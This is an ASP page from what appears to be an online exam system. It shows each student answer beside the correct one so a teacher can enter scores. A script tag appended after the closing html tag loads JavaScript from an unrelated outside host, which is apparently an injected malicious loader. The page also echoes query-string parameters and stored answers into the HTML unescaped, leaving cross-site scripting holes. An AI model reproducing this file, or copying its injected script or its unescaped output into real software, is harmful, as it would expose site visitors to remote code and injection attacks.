📄 readpaper.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<!--#include file="../class/EData.asp"-->
<html>
<head>
<title>批阅试卷</title>
<link href=style.css rel=STYLESHEET type=text/css>
</head>
<body>
<%'读取试卷名称
Set pa = New EPaper
Set ls = New EPaperList
Set ls1 = New EPaperList
Set dt = New EData
Set eq = New EQuestion
Set usr = New EUsers
'试卷编号
pid = Request.QueryString("pid")
'考生用户名
uname = Request.QueryString("uname")
'读取试卷信息
pa.GetPaperInfo(pid)
pname = pa.rs("PName")
lid = pa.rs("Lid")
'读取用户信息
usr.GetUserInfo(uname)
%>
<form name="forms" action="ReadSubmit.asp" method="post">
<input type="hidden" value="<%=pid%>" name="pid">
<input type="hidden" value="<%=uname%>" name="uname">
<div align=center><p><font size=5 color=red><b><%=pname%></b></font></p>
<p align=right><b>姓名：<%=usr.rs("RealName")%>
班级：<%=usr.rs("UserClass")%></b></p>
<table border="0" width="100%" cellspacing="1" align="center">
<%'读取试卷所有试题，并按类型显示
n = 0
m = 0
'读取试卷包含的试题类型信息
ls.GetTypeList(pid)
DO WHILE NOT ls.rs.EOF
n = n + 1
tid = ls.rs("TId")
'计算该类型题目数量
cnt = eq.GetCount(tid,lid)
%><tr><td colspan=3><font size=4><%=n%>、<%=ls.rs("TName")%>
(共<%=cnt%>题，每题<%=ls.rs("TValue")%>分)</font></td></tr>
<% '读取该类型下试题
ls1.GetDetail pid,tid
Do While Not ls1.rs.EOF
m = m + 1
'设置分值文本框名称
txtname = "txt_" & ls1.rs("qid")
qid = ls1.rs("qid")
'读取试题答案信息
eq.GetQuestionInfo(qid)
'读取考生答案
dt.GetDataByUser pid,uname,qid
%>
<tr>
<td width="30%">正确答案：<%=eq.rs("QAnswer")%></font></td>
<td width="40%">考生答案：<%=dt.rs("UAnswer")%></font></td>
<td width="30%">实际得分：
<%'如果答案与正确答案完全一致，则实际得分为规定分值，否则由教师评判
If Trim(eq.rs("QAnswer"))=Trim(dt.rs("UAnswer")) Then%>
<input type="text" value=<%=ls.rs("TValue")%> name="<%=txtname%>" size="5">
<%Else%>
<input type="text" value="<%=dt.rs("DValue")%>" name="<%=txtname%>" size="5">
<%End If%>
</td>
</tr>
<% ls1.rs.MoveNext
Loop
ls.rs.MoveNext
Loop%>
</table>
<p align=center>
<input type="submit" name="ok" value=" 确 定 "></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -